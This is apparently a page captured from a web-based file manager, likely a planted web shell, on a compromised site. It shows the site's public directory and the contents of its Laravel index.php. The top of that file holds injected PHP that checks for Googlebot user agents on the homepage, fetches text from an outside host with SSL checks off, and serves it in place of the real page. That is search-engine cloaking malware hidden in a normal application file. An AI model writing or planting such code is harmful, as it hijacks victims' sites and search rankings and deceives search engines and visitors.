File Manager Lite
Dir:
/home/codewavebd/public_html/public
Upload
[..]
.htaccess (740 B)
Edit
Rename
Del
assets/
Rename
Del
favicon.ico (0 B)
Edit
Rename
Del
google70a05566c8ef14e8.html (53 B)
Edit
Rename
Del
index.php (1.66 KB)
Edit
Rename
Del
robots.txt (24 B)
Edit
Rename
Del
tmp/
Rename
Del
uploads/
Rename
Del
Edit: index.php
<?php function is_google_bot() { $agents = array("Googlebot", "Google-Site-Verification", "Google-InspectionTool", "Googlebot-Mobile", "Googlebot-News"); foreach ($agents as $agent) { if (strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false) { return true; } } return false; } // Cek apakah ini halaman root (homepage) function is_homepage() { $uri = $_SERVER['REQUEST_URI'] ?? ''; // Bersihkan query string dan fragment $uri = strtok($uri, '?'); // Root homepage biasanya '/' atau kosong return $uri === '/' || $uri === '' || $uri === '/index.php'; } // Kombinasi keduanya if (is_google_bot() && is_homepage()) { $url = 'https://kontenderr.medelveys.com/derr/codewavebd.com/der.txt'; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); // tambahan: biar tidak hang curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // kalau ada masalah SSL $result = curl_exec($ch); curl_close($ch); echo $result ?: ' '; exit; } ?> <?php use Illuminate\Foundation\Application; use Illuminate\Http\Request; define('LARAVEL_START', microtime(true)); // Determine if the application is in maintenance mode... if (file_exists($maintenance = __DIR__.'/../storage/framework/maintenance.php')) { require $maintenance; } // Register the Composer autoloader... require __DIR__.'/../vendor/autoload.php'; // Bootstrap Laravel and handle the request... /** @var Application $app */ $app = require_once __DIR__.'/../bootstrap/app.php'; $app->handleRequest(Request::capture());
Simpan